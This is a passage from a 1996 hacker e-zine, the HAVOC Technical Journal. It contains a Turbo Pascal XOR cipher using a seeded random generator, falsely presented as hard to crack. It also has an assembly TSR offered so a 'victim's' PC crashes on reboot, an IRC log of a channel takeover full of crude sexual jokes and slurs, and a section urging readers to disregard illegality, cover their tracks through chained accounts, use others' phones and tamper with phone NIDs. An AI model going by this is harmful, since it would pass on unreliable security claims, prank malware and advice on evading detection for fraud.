- algorithm used in public key cryptography). We have a series of characters
- known as a "key" which we use to encrypt a file or datastream. Then, we
- can at a later date use the same key, and the same programming code,
- with the XOR operator on the encrypted datastream. Our original data is
- restored, simply by using the XOR function with the key again.</P>
-
- The syntax for XOR encryption, under most programming languages, is
- like this :
-
- encrypted_byte = originalbyte XOR keyvalue
- (where keyvalue is a byte taken from a repeating sequence of characters
- which are used both to encrypt and decrypt)
-
-
- Likewise, the syntax for XOR decryption, under most programming languages,
- is like this :
-
- original_byte = encrypted_byte XOR keyvalue
- (where keyvalue is a byte taken from a repeating sequence of characters
- which are used both to encrypt and decrypt)
-
-
- For those interested in the more theoretical details, the exclusive-OR
- operator is evaluated by examining individual bits, and comparing them
- to the result in the following truth table.
-
-
- +--------------------+
- | A B | eXculsive-OR |
- +-----+--------------+
- | 0 0 | 0 |
- +-----+--------------+
- | 0 1 | 1 |
- +-----+--------------+
- | 1 0 | 1 |
- +-----+--------------+
- | 1 1 | 0 |
- +-----+--------------+
-
-
- As you can see, the XOR operator will return true if, and only if, the
- operands are either true, or false, but not both. If A and B are false,
- then XOR returns false, but if they are different, XOR returns true.
-
-
- Now, to examine and understand why XOR encryption is so simple to use, take
- any value for A (either 0 or 1) and apply the XOR function to a key-bit (B) of 0.
- Do so again, and you will see that you arrive at your original bit (A).
- Likewise with a key value of 0, a second XOR restores the original bit.
- This is a handy feature, as your program need not have separate encryption and
- decryption routines. Simply executing the central algorithm once, then again
- can both encrypt and decrypt.
-
-
- Infinite length keys
-
-
- Our infinite length keys are generated simply through a random number generator
- which is seeded by a user-specified value. Under most languages, the number
- generated from one execution of an application will be the same when the
- application is next executed, unless the generator is seeded;
- usually by the system timer. But if we seed the generator
- with a known value - which will generate our encryption key - at a later
- date that same key can be reproduced for decryption.
-
-
- Example source code
-
- The following Turbo Pascal listing gives you a working example of the
- infinite length key XOR system. Note that random number generators will
- most likely be platform and language specific, so that a Turbo Pascal
- compiled system probably won't work with a Visual Basic system, and vice
- versa. This brings an added benefit, for to break the code, you would not
- only have to cycle through every single possible seed value, you would also
- need to know the specific language and version to even attempt to crack the
- code.
-
-
- Listing one - infinite length XOR encryption example
-
- Program InfiniteXORKey;
-
- { An example encryption system that selectively seeds a random number
- generator to choose a particular sequence of random numbers, which
- are then used to encrypt or decrypt a file.
-
- Syntax
-
- Infinkey INPUTFILE OUTPUTFILE RANDOMSEED
-
- where randomseed is any long integer
-
- }
-
-
- uses crt, dos;
-
- var Input, Output : file;
- Numread, NumWritten : word;
- Buffer : array[1..4096] of char;
- seed : longint;
- i : integer;
- VerifyFile : SearchRec;
- InputFile, FileName : string;
-
- begin
- { Verify paramaters }
- if ParamCount <> 3 then begin
- Writeln ('Invalid number of paramaters');
- Halt(1);
- end;
- { Verify original file's existance }
- FindFirst (Paramstr(1), AnyFile, VerifyFile);
- InputFile := paramstr(1);
- { Convert file name to uppercase }
- For i := 1 to length(ParamStr(1)) do
- FileName := Filename + UpCase(InputFile[i]);
- If VerifyFile.Name <> FileName then begin
- Writeln ('Input file not found');
- Halt(2);
- end;
-
- Assign (Input, Paramstr(1)); { Open file for input }
- Reset (Input , 1 ) ; { Record size = 1 }
- Assign (Output, ParamStr(2)); { Open file for output }
- Rewrite (Output, 1 ) ; { Record size = 1 }
-
- Writeln ('Encrypting ', FileSize(Input), ' bytes....');
- { Get information, then encrypt }
-
- { Seed our generator to give an infininte key }
- Val ( Paramstr(3), seed, i);
- RandSeed := ( seed );
- repeat
- BlockRead (Input, Buffer, SizeOf(Buffer), NumRead);
-
- for i :=1 to numread
- do begin
- Buffer[i] := chr(ord(buffer[i]) XOR Random(256));
- end;
-
- BlockWrite ( Output, Buffer, NumRead, NumWritten);
-
- until (numread = 0 ) or (numwritten <> numread);
-
- Close( Input );
- Close( Output );
- end.
-
-
-
- Conclusion
-
-
- While XOR encryption may have been, in the past, viewed as easily crackable,
- with the principle of seeding a key of the length of the original data, you
- can incorporate easy encryption into your own software. While it still has
- its limitations, in that the random number generator used in one language
- will not give you the same set of values in another language, if you did need
- to make code that was easily portable to other platforms, you could design
- your very own random number generator. This would eliminate any of the above
- mentioned limitations.
-
-
- =============================================================================
-
- Hot Boot Crash by |\|\cFill
-
- |\|\cFill e-mailed this to me, and basically what it does is when the
- user (err, victim) Reboots, well their computer will crash.. have fun!
-
- hmm... aparrently South American keyboards beboot on ALT+CTRL+BACKSPACE ...
-
- ;
- ; NAME......: HOTBOOT.ASM
- ; FUNCTION..: <Hot> Reboot when ALT+CTRL+BACKSPACE
- ; COMPILER..: Turbo Assembler 2.0 or sup.
- ; DATE......: 10/12/1996
- ; AUTHOR....: |\|\cFiLL - TeEnAgErS AsSoCiAtEs
- ;
- ; TnG Staff:
- ; - LuCiFeR
- ; - SoNiC
- ; - FlaGG
- ; - |\|\cFiLL
- ; - AmAzInG
-
-
- BEL EQU 7
- CR EQU 13
- LF EQU 10
- LAST_VECT EQU 80h
- JMP_FAR EQU 0EAh
- SHIFT_STATUS EQU 17h
- CRT_ADDR EQU 63h
- ALT_CTRL_MASK EQU 0Ch ; MASK FOR ALT+CTRL
- BKS_SCAN_CODE EQU 0Eh ; BACKSPACE
-
-
- CSEG SEGMENT PARA PUBLIC 'CODE'
- ASSUME CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
-
- ORG 100h
- START: JMP MAIN ; EXECUTE THE SOFT
-
-
- ORG 100h
-
- ;*******************************************************************************
- ; RESIDENT VARIABLES OF SOFT
- ;*******************************************************************************
-
- VEC_TAB DD LAST_VECT DUP(?) ; PICK UP INT VECTS
- BLOCK_ADDR DW ? ; NEXT SEGMENT
- BLOCK_SIZE DW ? ; SEGMENT SIZE
- OK$ DB BEL, 'TnG Corp: '
- DB 'memmory state restored (if possible).$'
-
-
- ;*******************************************************************************
- ; KBD_INT - NEW KEYBOARD INTERRUPT
- ;*******************************************************************************
-
- KBD_INT PROC FAR
-
- PUSH AX DS ; PICK UP ALT. REGISTERS
-
- MOV AX, 40h ; PREPARE TO BIOS DATA AREA
- MOV DS, AX
- MOV AL, BYTE PTR DS:[SHIFT_STATUS]
- AND AL, 0Fh
- CMP AL, ALT_CTRL_MASK
- JNE BAD_KEY
-
- IN AL, 60h ; SCAN CODE KEY CHECK
- CMP AL, BKS_SCAN_CODE
- JNE BAD_KEY
-
- IN AL, 61h ; KEYBOARD READ SIGNAL
- MOV AH, AL
- OR AL, 80h
- OUT 61h, AL
- XCHG AH, AL
- OUT 61h, AL
- MOV AL, 20h ; END OF INTERRUPT SIGNAL
- OUT 20h, AL
-
- PUSH CS
- POP DS
-
- MOV ES, BLOCK_ADDR ; CREATE LAST MCB
- CLD
- XOR DI, DI
- MOV AL, 'Z'
- STOSB
- XOR AX, AX
- STOSW
- MOV AX, BLOCK_SIZE
- STOSW
-
- XOR AX, AX ; RESTORE INTERRUPT VECTORS
- MOV ES, AX
- MOV SI, OFFSET VEC_TAB
- XOR DI, DI
- MOV CX, LAST_VECT * 2
- CLI
- REP MOVSW
- STI
-
- MOV BX, CS ; ACTIVATE PSP
- MOV AH, 50h
- INT 21h
-
- MOV AX, 40h ; CHANGE VIDEO MODE TO 80x25 TEXT
- MOV ES, AX
- MOV AL, 7 ; VIDEO MODE 7 - HGC, MDA
- CMP ES:[CRT_ADDR], 3B4h
- JE SET_MODE
- MOV AL, 3 ; VIDEO MODE 3 - CGA, EGA, VGA
- SET_MODE: XOR AH, AH
- INT 10h
-
- MOV DX, OFFSET OK$ ; DESINSTALATION
- MOV AH, 9
- INT 21h
-
- MOV AX, 4C00h ; ABORT TO OPERATIVE SYSTEM
- INT 21h
-
- BAD_KEY: POP DS AX ; JUMP TO OLD INT 9
- DB JMP_FAR
- OLD_KBD DD 0
-
- KBD_INT ENDP
-
- END_TSR EQU $
-
-
- ;*******************************************************************************
- ; NON RESIDENT VARIABLES
- ;*******************************************************************************
-
- COPYRIGHT$ DB '<HOT> Boot 1.0 - by: |\|\cFiLL @ TnG Corp. 1996.$'
-
- INSTALL_OK$ DB CR, LF, 'ALT+CTRL+BACKSPACE, to make a <hot> boot.'
- DB CR, LF, 'NOTE: '
- DB 'just use on system CRASH state.$'
-
- LH_ERR$ DB BEL, CR, LF, 'ERROR: '
- DB 'do not load on high memmory.$'
-
-
- ;*******************************************************************************
- ; MAIN - PRINCIPAL SOFT
- ;*******************************************************************************
- MAIN:
- MOV DX, OFFSET COPYRIGHT$ ; WHO AM I
- MOV AH, 9
- INT 21h
-
- MOV AX, CS ; CHECK HIGH MEMMORY
- CMP AX, 0A000h ; LOAD
- JB LOW_MEM
-
- MOV DX, OFFSET LH_ERR$ ; ERROR
- MOV AH, 9
- INT 21h
-
- MOV AX, 4CFFh ; END OF SOFT
- INT 21h
-
- LOW_MEM: MOV DX, OFFSET INSTALL_OK$ ; INSTALATION
- MOV AH, 9
- INT 21h
-
- XOR AX, AX ; INTERRUPTS TABLE COPY
- MOV DS, AX
- MOV CX, LAST_VECT * 2
- MOV SI, AX
- MOV DI, OFFSET VEC_TAB
- CLD
- REP MOVSW
-
- PUSH CS ; RESTORE DS
- POP DS
-
- MOV ES, DS:[2Ch] ; LEAVE ENVIRONMENT BLOCK
- MOV AH, 49h
- INT 21h
-
- MOV AX, 3509h ; REDICIONATE INT 9
- INT 21h
- MOV WORD PTR OLD_KBD, BX
- MOV WORD PTR OLD_KBD+2, ES
- MOV AX, 2509h
- MOV DX, OFFSET KBD_INT
- INT 21h
-
- PUSH CS ; CALCULATE SOFT SIZE
- POP ES
- MOV BX, (OFFSET END_TSR - CSEG + 15) SHR 4
- MOV DX, BX
- MOV AX, CS
- ADD AX, BX
- MOV BLOCK_ADDR, AX
-
- MOV AH, 4Ah ; CHANGE MCB SIZE
- INT 21h
-
- MOV BX, -1 ; DISP. MEMMORY
- MOV AH, 48h
- INT 21h
- MOV BLOCK_SIZE, BX
-
- MOV AX, 3100h ; GET OUT TO S.O. AND STAY RESIDENT
- INT 21h
-
- CSEG ENDS
- END START
-
- =============================================================================
- the Transatlantic Telephone Cable #8 (TAT-8) info by Keystroke
-
- One night while I was out doing stuff (heh) and I found these BellCore
- document just lying around! It turns out they were on the Transatlantic
- Telephone Cable #8. aka TAT-8. Here's what they said:
-
- IN SERVICE: SINCE 1988
- LOCATION: TUCKERTON, NJ TO WIDEMOUTH, ENGLAND
- TO PENMARCH, FRANCE
- UNDERSEA PATH LENGTH: 5600km +500km ENGLAND }\ [It branches off in two
- directions, as you can see in int picture]
- +300km FRANCE }/
- WAVELENGTH: 1.3um
- FIBER: MONOMODE DEPRESSED CLADDING FIBERS IN A CABLE
- 1.6 AMPERE CONDUCTOR FOR REPEATER POWER
- LIGHT SOURCE: DOUBLE HETEROSTRUCTURE LASER DIODES
- MEDIAN LIFETIME = 10^6 HOURS
-
- CAPACITY: 557 Mbps
- + 2 FIBER PAIRS OPERATING AT 295.6 Mbps
- + 2 STANDBY FIBERS
- + 40,000 VOICE CHANNELS (USING ADAPTIVE DELTA PULSE CODED MODULATION)
- + ELECTRONIC MULTIPLEXERS AND DEMULTIPLEXERS CONVERT BETWEEN THE
- 295.6 Mbps LINES AND THE EUROPEAN 139.264 Mps LINES
-
- TRANSMITTER: LASER DIODE InGaAsP (1290-1330nm)
- OUTPUT POWER > 5mW AT 30mA
- RECEIVER: InGaAs PIN DIODE
-
- REPEATERS: INTER-REPEATER DISTANCE =[about] 35km-50km, 103 REPEATERS
- 6 REGENERATORS IN EACH REPEATER, (2 IN ONE DIRECTION,
- 2 IN THE OTHER DIRECTION, 2 STANDBY)
-
- PARTNERS IN THE TAT-8 PROJECT
-
- 34.10% AT&T
- 27.00% FOREIGN INVESTORS
- 15.50% BRITISH TELECOM
- 13.60% MISCELANEOUS INVESTORS
- 9.80% FRANCE
- 100.00% HAVOC (:
-
- =============================================================================
- For your reading pleasure... the take over of #e.p.a.!
- E.P.A. (Elite Phreakers Alliance) were a group of lamers that
- invited is to their channel, and as you can see the boys of #phreak made
- them regret they ever invited us.. enjoy!
-
- NOTE: this is also online:
- www.geocities.com/SiliconValley/8805/e_p_a.log
-
- Session Start: Wed Dec 04 01:17:09 1996
- *** Now talking in #e.p.a.
- <Scud-O> whats up
- <Scud-O> heheh hey el4n
- <Sanctity> not much
- <Sanctity> hi Scud-O
- <Scud-O> hey
- <Sanctity> welcome
- <el4n> hi scud
- *** memor (~derzeter@194.206.81.193) has joined
- #e.p.a.
- <Scud-O> so tell us about epa
- <Sanctity> hey memor
- *** ec|ipse (eclypse@kam-as-01b06.direct.ca) has
- joined #e.p.a.
- <ec|ipse> w3rd
- <ec|ipse> i did it
- <el4n> what if somone.. how should i say.. was
- not "eleet" wanted to join up.. could they
- still do this?
- <Scud-O> tell us bout epa
- <el4n> i mean get in epa an all?
- <ec|ipse> do you guys get lots of chicks?
- <memor> i thank elite was on bbs only..
- <Sanctity> EPA is just basically a bunch of guys
- from canada
- <Scud-O> k
- <Scud-O> hehe chicks
- *** YourMom (jlmason@pm028-06.dialip.mich.net)
- invites you to join #teenhackers
- <Sanctity> lots o chicks
- <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
- et) invites you to join #teenhackers
- <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
- et) invites you to join #teenhackers
- <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
- et) invites you to join #teenhackers
- <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
- et) invites you to join #teenhackers
- <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
- et) invites you to join #teenhackers
- <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
- et) invites you to join #teenhackers
- <el4n> yes
- <ec|ipse> i will join epa if you gets lots of
- chicks
- <el4n> YES YES YES
- <ec|ipse> i am from canada
- <Sanctity> let's get some chicks!
- <Scud-O> i am a canuck... moved to us.. but
- moving back
- <el4n> HOLY SHIT
- <el4n> THERES MORE PEOPLE THEN THEN LIKE
- ANYWERHE!@$
- <el4n> #TEENHACKERS
- <Scud-O> hey baby.. im in epa... want to go fuck?
- <el4n> IS THE PLACE
- <Draim_K> me from canada
- <memor> well if ^cna^ is from epa, i'll join heh
- <el4n> HEHE
- <Scud-O> teen hacers
- <Sanctity> chicks!!
- <ec|ipse> what about teen hacker chicks?
- <Draim_K> * (__)
- <Draim_K> * /oo\\________
- <Draim_K> * \\ / \\
- <Draim_K> * \\/ / \\
- <Draim_K> * \\_|___\\_|/.\\
- <Draim_K> * || YY| o '
- <Draim_K> * || || O
- <Draim_K> * ^^ ^^
- <ec|ipse> type ~beast el4n
- *** Drooke (wassupfoo@stjhts15c43.nbnet.nb.ca)
- has joined #E.P.A.
- *** Drooke changes topic to "Elite Phreakers
- Assotiation"
- *** Draim_K has quit IRC (Read error to
- Draim_K[stjhts15c43.nbnet.nb.ca]: Connection
- reset by peer)
- <el4n> ~BEAST
- <ec|ipse> el4n has been feeling desperate
- lately... el4n notices a lovely cow grazing
- out in a field... el4n can't hold it any
- longer and runs out into the field and fucks
- the cow.
- <ec|ipse> º÷MΩ÷±Ω TÑ■Ω ~▀σ«
- *** Drooke is now known as Draim_K
- <ec|ipse> if u want me eleet ass in epa, i better
- be getting awps
- <Scud-O> let me in to epa!!!!!!!!!!!!!
- <el4n> i know redbox teknique
- *** DrubleR (~Hey.who.n@btstts01c12.nbnet.nb.ca)
- has joined #E.P.A.
- <ec|ipse> ok
- *** Sanctity sets mode: +o DrubleR
- * Sanctity hands DrubleR some of dat stuff!!!
- <ec|ipse> well, awp me
- <DrubleR> heh heh
- <Draim_K> hey sanc
- <Draim_K> op
- *** Keystroke (▀°Z°)á(~y@ppp-21.ts-1.mvl.idt.net)
- has joined #e.p.a.
- <el4n> anybody know why my redbox dosent work?
- *** Sanctity sets mode: +o ec|ipse
- * Sanctity hands ec|ipse some of dat stuff!!!
- <memor> KEYz
- <Draim_K> op
- <el4n> i need to be oped also
- <DrubleR> brb
- *** Sanctity sets mode: +o el4n
- * Sanctity hands el4n some of dat stuff!!!
- <Scud-O> op me
- *** el4n sets mode: -o DrubleR
- *** el4n sets mode: -o Sanctity
- <el4n> oooooops
- <memor> db.. :)
- * Sanctity takes out his Shotgun and tells
- Draim_K you got 10 seconds to run
- * Sanctity Draim_K 10
- * Sanctity Draim_K 1
- * Sanctity pulls out the shotgun and blows
- Draim_K 's head off..
- *** el4n sets mode: +o Scud-O
- <Scud-O> hehe thbjma sel
- * Sanctity shows Draim_K a broomstick and some
- KY........
- <Sanctity> Suddenly some cheap 70's porno film
- music comes on [BOOMP-CHICKA-BOOMP-BOWWWWW!]
- <Sanctity> Draim_K decides he'd prefer not to
- take chances and runs like fuck......
- *** ec|ipse sets mode: +m
- *** el4n sets mode: +o memor
- <memor> heh..
- *** el4n sets mode: +o Keystroke
- <Scud-O> than you el
- <Scud-O> hehehehehehehe
- <memor> ah.. db wont change hehe
- <el4n> hey
- <Scud-O> KEY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- !!!!
- <ec|ipse> w3rd el4n!
- *** Keystroke changes topic to "The so called
- e.p.a. should be the g.f.a. for gay fags
- accociation. You (the one op) sucks a nut! I own
- your lame asses"
- <Keystroke> hehe
- <el4n> im not the president of EPA
- <Keystroke> Yea
- <Scud-O> you the man!
- <Scud-O> heheheh
- <el4n> EPA was bought out
- <Keystroke> oops
- <el4n> terrable takeoveer
- * Keystroke didnt know he had ops
- <Scud-O> damn
- <Scud-O> key rules.. he always has ops
- *** Draim_K (wassupfoo@stjhts15c43.nbnet.nb.ca)
- has left #E.P.A.
- *** Keystroke changes topic to "#phreak owns ewe"
- <Scud-O> takeovers rule...
- *** Keystroke sets mode: +nt
- -memor:#e.p.a.- Scud-O takes rule... And Eats His
- Brain.
- <Keystroke> hehe
- <Scud-O> so now we are in epa right?
- <Keystroke> #2600 and #hackers and #phreak and
- #hackerz were all mine one night :)
- <Scud-O> memor: ?
- *** el4n changes topic to "EPA = Educated Pastrey
- Associates"
- <memor> yea?
- *** el4n changes topic to "EPA = Educated
- Provalactic Associates"
- <Scud-O> what do you mean and eats his brian?
- <memor> ha heh my events
- *** el4n changes topic to "EPA = Endured
- Provalactic Associates"
- <Scud-O> heheh im in epa!!!
- *** el4n changes topic to "EPA = Endured
- Provalactic Association"
- *** Keystroke changes topic to "EPA = Eat Penis
- and Ass"
- <Scud-O> Enviroenmental PRotction agency
- <memor> well => take*:#: $nick takes $1 $+ $2 $+
- $3 and hits his brain
- <Scud-O> Evironmental Protection Agency
- <el4n> yes
- <el4n> we needed a name change
- <el4n> the old one was just to flamboyend
- *** arg (~sergio@ppp-24.ibw.com.ni) has joined
- #E.P.A.
- <Scud-O> hehehe okay
- <el4n> flamboyent
- <Scud-O> your weird memor
- <el4n> fuck i gotta learn to type
- <Scud-O> I like that in a phreaker
- *** arg (~sergio@ppp-24.ibw.com.ni) has left
- #E.P.A.
- <memor> iam yea heh..
- <el4n> Scud - have you just been having alot of
- sex or what?? i havent seen you in ages
- <Keystroke> hehe
- *** el4n sets mode: -m
- <el4n> ok
- <el4n> now what do youall have to say for
- yerselfs?
- <Scud-O> el: yes.. 34-54 times a day!
- <el4n> holy gawd
- <el4n> no wonder you have no time for fcompouter
- <el4n> FUCK
- <el4n> LEARN TO TYPE
- *** Keystroke has quit IRC (Excess Flood)
- <el4n> me that is.
- <Scud-O> el: sorry... I dont fuckinh want to
- type... I speach itialian damn it
- <Scud-O> I cant spell either..
- <ec|ipse> heheheh
- <ec|ipse> type ~beast
- <ec|ipse> my friend hasn't seen them
- <Scud-O> actually im getting a bj right now.. so
- its hard to type!
- <el4n> ~beast
- <ec|ipse> el4n has been feeling desperate
- lately... el4n notices a lovely cow grazing
- out in a field... el4n can't hold it any
- longer and runs out into the field and fucks
- the cow.
- <el4n> ~breast
- <el4n> ~kittylitter
- <el4n> i see..
- <ec|ipse> type ~rlu
- *** Keystok (bozo@ppp-21.ts-1.mvl.idt.net) has
- joined #e.p.a.
- *** ec|ipse sets mode: +o Keystok
- <el4n> ~rlu
- <ec|ipse> el4n takes a crowbar and breaks into an
- RLU and starts ripping it apart... way ta go,
- el4n !
- <Keystok> I scroolled it 10000000000 times
- <Keystok> #gaysex
- <Keystok> hehe
- <Keystok> Thanks
- <el4n> what did you skrewl?
- <el4n> skkroll
- <ec|ipse> *** Now talking in #gaysex
- <ec|ipse> <ec|ipse> i want it up the ass
- <Scud-O> do you screw off?
- <Keystok> #EPA
- <Keystok> not e.p.a.
- <Keystok> hehe
- <Keystok> Ask what keystroke did
- <Keystok> They will cry
- *** Digital_X (user@raptor.top.monad.net) has
- joined #e.p.a.
- <Digital_X> :)
- *** Digital_X (user@raptor.top.monad.net) has
- left #e.p.a.
- <Scud-O> heleo
- <Keystok> X!
- <ec|ipse> this channel is gross
- <Scud-O> yea.. it sucks
- <Scud-O> die die die die
- *** memor has quit IRC (Read error to memor[194.20
- 6.81.193]: Connection reset by peer)
- <ec|ipse> <ec|ipse> /msg el4n ok, i'll have gay
- sex with you :)
- <ec|ipse> <ec|ipse> ooops
- <el4n> haha
- <el4n> scud- o : anyone msg ya?
- <Scud-O> i want it now...
- *** ec|ipse has quit IRC (Excess Flood)
- <Scud-O> msg me.. nope.. dontta thinka so
- *** ec|ipse (~eclypse@kam-as-01b06.direct.ca) has
- joined #e.p.a.
- <el4n> right now??
- *** el4n sets mode: +o ec|ipse
- *** memor (~derzeter@ppp1.planetb.fr) has joined
- #e.p.a.
- *** Scud-O sets mode: +o memor
- <memor> Error: WSAENOTSOCK (4) by TCPMAN
- <ec|ipse> conf info
- <Keystok> CYA
- <Keystok> CYA
- <Keystok> CYA
- <Scud-O> no dpont go
- <Keystok> CYA
- <Scud-O> no
- *** Keystok (bozo@ppp-21.ts-1.mvl.idt.net) has
- left #e.p.a.
- *** Defraz (~just@208.129.36.31) has joined
- #E.P.A.
- * Sanctity shows el4n a broomstick and some
- KY........
- <Sanctity> Suddenly some cheap 70's porno film
- music comes on [BOOMP-CHICKA-BOOMP-BOWWWWW!]
- <Sanctity> el4n decides he'd prefer not to take
- chances and runs like fuck......
- <el4n> h3h3h3
- <el4n> funny stuff san
- <Scud-O> hehe
- <Sanctity> yeah, my friend wrote this prog
- <Sanctity> it rocks
- *** Vakant (Drub@btstts01c12.nbnet.nb.ca) has
- joined #e.p.a.
- <Scud-O> ello
- <Scud-O> we own this channel.. you must hail us
- all!
- <el4n> prog?
- <Scud-O> hehehehehehehehehehe
- <el4n> you call that a prog?
- *** had (~jjh@pm8-13.enter.net) has joined
- #E.P.A.
- <el4n> i think i m going to add some shit to my
- popups.ini
- <el4n> n call it a program
- <el4n> yeh.. were the EPA
- <el4n> BOW DOWN
- *** had (~jjh@pm8-13.enter.net) has left #E.P.A.
- <Scud-O> yea bow now damn it.. or be killed!!!!!!!
- !!!!!
- <Scud-O> ehehehehehehehehehheheheheheheheheheheheh
- ehehe
- * Sanctity grabs Scud-O by the neck and hooks
- Scud-O's upper jaw over his thumb..
- * Sanctity takes careful aim while stretching
- Scud-O wayyy out.....
- * Sanctity releases Scud-O..... *twang*
- <el4n> i think that i will have to take off the
- pants and belt in a second
- <el4n> dont piss me off
- *** Draim_K (wassupfoo@stjhts15c43.nbnet.nb.ca)
- has joined #e.p.a.
- <el4n> sanctuty - tell your friends that hes a
- homo will ya :)
- *** Podunk (zero@ppp39.respool1.medina.ohio.net)
- has joined #E.P.A.
- *** MuD-SeRV (wassupfoo@stjhts15c43.nbnet.nb.ca)
- has joined #e.p.a.
- <Scud-O> ewww... that would hurt
- *** MuD-SeRV is now known as Ere
- <Scud-O> heheh im gunna piss all over you
- <Scud-O> ahahahahahahahha
- <Scud-O> Im mad.. mda is say!
- <Scud-O> get your spite in a bag
- <Scud-O> get your bile pilled up...
- <Scud-O> its thje best damn vengance youve ever
- had! -Scud The Dispossible Assassin!
- <Scud-O> i cant type for shit can it folks?
- Session Close: Wed Dec 04 01:45:10 1996
-
- =============================================================================
-
- RTFM: The Lamer Journal
-
- Street Smarts
-
- I found this in the Empire Times and well.. I want you to read it. Armitage
- says some very true things...
-
- From the Empire Times issue 7
- I've read alot in recent magazines and have seen alot on tv recently
- about hackers, and it makes me sick. I don't think the perceptions are
- accurate. Even though it bothers me, being the laid back individual I am
- I don't let it get to me. Maybe that is my fault, maybe it is good though.
-
- I want to send out a message to all the covert hackers and phreakers.
- Not many people have such talents that some of us have. Use them wisely, and
- think about what you are doing before you do it. I am not saying hacking is
- bad (no no, why would anyone think that?). I am just saying that think
- about what you are doing and how you can get caught. I don't want people to
- get locked up like Mitnick and others. Watch yourselves.
-
- I'm going to keep it short and sweet. This is definatly a period of
- busts. Many many fellow hackers have gone 'down'. That is something that
- most people consider the worst thing that could ever happen to a member of
- the computer underground.
-
-
- Till the next Empire Times,
-
- armitage@dhp.com
-
- +-----------------------------------------------------------+
-
- Armitage speaks the truth. We are in a period of heavy busts. You
- probably will not have all the time you need to learn before you get busted.
- If you cant handle this then stop reading this file and destroy all of the
- hacking/phreaking files you may have found. If you are worried of being
- busted, you have failed. If you worry about being busted, you are not a
- hacker or phreaker. If you worry about being busted, you will be busted.
-
- Still here? Good. Congradulations! You have taken the first step
- towards becoming a h/p person. You mut not fear or care! You must not fear
- doing illegal things, and you must not care about ripping people or companies
- off. If you do, you will get busted my friend.
-
- Second, don't ask for help with EVERY little detail. Most people with
- some practice in H/P will not help you. They may help out a little, but the
- rest you must find out for yourself. That is what hacking and phreaking is.
- It is Exploring. Not ripping people off or doing illegal things, it is the
- exploring of systems for KNOWLEDGE! You MUST know this. If you think Hacking
- or phreaking is just about having fun, i'm calling the cops right now. Sure
- it is fun, but it takes alot of work. Don't expect to be spoon fed everything.
- Sure the first stuff is pre-canned for you, but the further you go into things
- the more you will have to learn by your own mistakes.
-
- Third, Be VERY (emphasis on VERY) careful with who you share info with
- most people on IRC do NOT know what they are talking about and so, they will
- only mess things up for you. You must be VERY careful with what you say to
- people. I am a very open person online, and one day this will hurt me. I will
- get busted probably for trusting the wrong person. Don't make that mistake.
-
- Fourth, COVER YOUR TRACKS!! This is VERY imortante! when you are
- messing around with a shell script or program, telnet thru several different
- accounts first. In issue 4 at the end I published a list of freenets to use.
- So get issue 4 and use those accounts. Also, NEVER call numbers from your
- house unless you want to be busted! Use a pay phone or someone elses phone.
- I published an article in issue 4 which clearly tells you how to mess with
- NIDs to make free phone calls. Just going around your neighborhood should
- turn up a few NIDs to play with.
-
- I dont want to sound like i'm condemning you to death or anything,
- it is just that it is much harder to stay around in the "underground" these
- days.
-
- Safe Hacking & Phreaking-
-
- Scud-O
- FoxMulder@worldnet.att.net
-
- +---------------------------------------------------------+
-
- NOTE: if you use a lame nationwide ISP like AOL, P*, Netcom or MSN. Go and
- cancel your account NOW! Get a local ISP or use AT&T or earthlink. They
- need the money and almost all local ISPs have shell accounts so you can use
- scripts!
-
- Or if you only get a SLIP/PPP acount, l0pht and many other places have
- shell accounts at low prices you can telnet in to!
-
-
- Next Month on RTFM:
- Basics on hacking
- 2 Month From Now:
- Basics on phreaking
-
- =============================================================================
-
- ROLL CALL & More!
-
-
- Who is HAVOC Bell Systems?
- Scud-O : Linux Lammah
- Psycho : All Around Lammah
- |\|\cFill : Mad Genius (doing wonders for tNg mIRC v.2.0!)
- Keystroke : Mad PLA Insider
- Sancho Panza : This boy is so lame he couldn't hack is way out of a
- bag! hehehehehe (no wonder he's not in HBS)
-
- The MIA people have been taken off the list!
-
- Cool Undernet Channels:
- #phreak
- #rewt
-
- Cool People:
-
- UnaBomber (if he's ever on anymore!)
- theLURK3R (aka `X`)
- demonweed
- darkcyde (if he's ever on anymore!)
- Rap3d_C0w
- luthor
- CiND3R
- RedTyde (aka ^ReDMaN^)
- RedDeath
- el4n
- LuCiFeR_
- X-SeRiAl
- yesimlame
- fusi0n
- KungFuFox
- ArcAngel
- darcangel
- BC219
- XiN0 (hehehehehehe.. bwahahahahahahahahahahaha)
-
- all of these fine gents can be found on #phreak
-
- (Who will i add to HBS? find out next month!)
-
- Lamah of the Month:
- kradd00d - kradd00d@juno.com
-
- This Month Question(s): Why did it take you SO long to put out the issue?
- Well first NO ONE turned in thier articles! (the little punks)
- Anyway, I had all my stuff done and on the 15th when this issue was first
- going to come out, |\|\cFill send me his article. Psycho is such a lamer
- that i had to write his article for him the lame @$$ bitch! And well
- Keystroked HD exploded after installing linux (which im going to be doing
- soon) and so it took him until today (12/26/96) to send it out to me.
- -Oh Well-
- (sign)
-
- Next Month's Question: Who are |\|\cFill and Keystroke and Psycho?
-
-
- Next Month:
- This MAY be what we will have in issue 7
- - Pagers
- - Cell Phones
- - A shit load of good UNIX C code stolen from theLURK3R!
- - The Practical Mailbomber for every day use
- - More from the RTFM: The Lamer Journal
- - Much, Much more TBA!
- Issue 7 is out Jan. 31st!
-
- cya ya next issue! - The HAVOC Technical Journal Crew
-
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